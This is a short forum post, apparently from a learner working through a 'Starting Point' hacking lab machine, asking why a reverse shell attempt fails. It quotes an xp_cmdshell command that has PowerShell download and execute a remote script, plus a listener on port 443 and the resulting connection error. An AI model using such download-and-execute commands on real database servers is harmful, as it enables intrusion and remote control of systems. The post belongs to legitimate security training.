Starting Point Machine

Hello guys.
I managed to make it almost to the end but I can’t figure this out until the end!

After this command:
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("\“);”

Output is:
New-Object : Exception calling “.ctor” with “2” argument(s): "No connection could be made because the target machine

actively refused it"

Everything is set OK. I see on the webserver terminal a GET to download this from and also a “connect to [] from (UNKNOWN) [] 49727” from the port listener(443) but nothing happens from there.
I don’t understand how to get to the desktop user.
Please help me out, I’m stuck for hours.
Thank you!